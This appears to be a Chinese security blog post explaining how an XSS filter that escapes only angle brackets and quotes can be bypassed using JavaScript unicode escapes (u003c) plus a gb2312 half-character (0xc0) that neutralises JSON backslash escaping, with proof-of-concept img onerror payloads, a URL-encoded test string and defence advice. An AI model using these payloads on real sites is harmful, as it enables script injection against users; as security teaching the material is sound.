大家都知道,普遍的防御XSS攻擊的方法是在后台對以下字符進行轉義:<、>、’、”,但是經過本人的研究發現,在一些特殊場景下,即使對以上字符進行了轉義,還是可以執行XSS攻擊的。
首先看一個JS的例子:
1 |
<script> |
2 |
var s = "u003cu003e" ; |
3 |
alert(s); |
4 |
</script> |
看到這么熟悉的尖括號,大家會不會有一些興奮的感覺呢?JS代碼中並沒有出現尖括號,可是運行時卻輸出了尖括號!!!這意味着:可以通過u003c和u003e來代替<和>。可是該如何利用這個特性來構造XSS攻擊呢?繼續看一個例子:
1 |
<div id= 's' > |
2 |
test |
3 |
</div> |
4 |
<script> |
5 |
var s = "u003cimg src=1 onerror=alert(/xss/)u003e" ; |
6 |
document.getElementById( 's' ).innerHTML = s; |
7 |
</script> |
運行上面代碼,結果顯示如下:
在沒有尖括號的情況下,成功實現了一個彈框的案例。
現在來設想一個更貼近實際開發情況的例子:
(1)這里我們用網絡安全攻防研究室網站首頁進行演示:http://www.91ri.org/ main.html,其代碼為:
01 |
<div id= "test" > |
02 |
aa |
03 |
</div> |
04 |
<script> |
05 |
function callback(obj) |
06 |
{ |
07 |
document.getElementById( "test" ).innerHTML = obj.name; |
08 |
} |
09 |
</script> |
10 |
<script src= " http://www.victim.com/getcontent" ></script> |
(2)http://www.victim.com/getcontent返回的內容格式如下:
1 |
callback({"name":"xx"}); |
其中name的值是用戶的昵稱。
這個例子簡單模擬了異步拉取信息並進行顯示的情況。
現在假設用戶的昵稱為:
1 |
u003cimg src=1 onerror=alert(/xss/)u003e |
那么會是什么情況呢?
首先getcontent返回的昵稱應該是這樣的:
1 |
\u003cimg src=1 onerror=alert(/xss/)\u003e |
因為后台輸出JSON格式數據時,一般都會在前面添加轉義符進行轉義。
接着main.html的callback函數應該是等價於執行下面的語句:
1 |
document.getElementById("test").innerHTML =" \u003cimg src=1 onerror=alert(/xss/)\u003e"; |
顯示的結果如下:
很遺憾,沒有彈出框。原因是原來的轉義序列u003c並沒有生效,被添加的轉義符轉義掉了。
不過這里假設返回昵稱時對進行了轉義,但實際情況下,有時輸出json格式數據時是沒有對進行轉義的,那樣就會觸發漏洞。
對於有對進行轉義的,這時就輪到我們強大的半字符出場了。對於半字符的問題,這里並不打算詳細講,說下結論:
對於gb2312編碼,” [0xc0] “是一個合法的編碼,顯示為:”繺”。
對於UTF-8編碼,在IE6下,上述組合也是一個合法的編碼。
其中[0xc0]表示一個十六進制的值。
現在修改昵稱為:
1 |
[0xc0]u003cimg src=1 onerror=alert(/xss/) [0xc0]u003e |
getcontent輸出:
1 |
callback({"name":"[0xc0]\u003cimg src=1 onerror=alert(/xss/) [0xc0]\u003e"}); |
由於半字符[0xc0]的存在,在解釋上述JS代碼時,等價於:
1 |
callback({"name":"繺u003cimg src=1 onerror=alert(/xss/) 繺u003e"}); |
可見,轉義序列u003c終於又回來了,顯示結果如下:
上述昵稱中並沒有出現單雙引號,尖括號,所以如果后台只是對單雙引號和尖括號進行轉義,那么是可以被繞過防御的。
總結:
(1) 利用場景:輸出內容在JS代碼里,並且被動態顯示出來(如使用innerHTML)。
(2) 測試方法:截獲請求包,修改參數為:
1 |
%c0u003cimg+src%3d1+onerror%3dalert(/xss/)+%c0u003e |
(3) 防御方法:后台對半字符,反斜杠,單雙引號,尖括號進行處理。
編輯點評:關於xss繞過的方式有很多,不少程序員以及小黑都認為過濾了<、>、’、”,就真的安全的,實際來說,只要針對這些字符進行一定的轉義,就能成功繞過!